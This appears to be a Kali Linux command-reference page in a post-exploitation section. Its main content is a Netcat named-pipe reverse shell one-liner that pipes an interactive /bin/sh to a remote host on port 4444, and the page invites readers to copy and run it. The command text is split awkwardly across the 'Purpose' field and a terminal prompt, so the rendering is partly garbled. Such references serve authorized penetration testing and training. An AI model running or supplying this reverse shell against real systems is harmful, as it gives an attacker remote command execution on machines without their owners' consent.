← All Kali Commands
🎯 Post-Exploitation
Netcat
/bin/sh -i 2>&1|nc target 4444 >/tmp/f|Named pipe reverse shell
Netcat command for /bin/sh -i 2>&1|nc target 4444 >/tmp/f|named pipe reverse shell. Copy the command below and use it in your terminal.
┌──(kali㉿kali)-[~]
└─$
└─$
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f
Tool
Netcat
Category
Post-Exploitation
Purpose
/bin/sh -i 2>&1|nc target 4444 >/tmp/f|Named pipe reverse shell
🛡️ Usage Tips
- Always ensure you have proper authorization before using Netcat against any target
- Replace
targetwith the actual IP address or hostname you are testing - Run this command from a Kali Linux terminal or any system with Netcat installed
- Combine with other Netcat commands for more comprehensive results
- Pipe output to a file with
> output.txtfor later analysis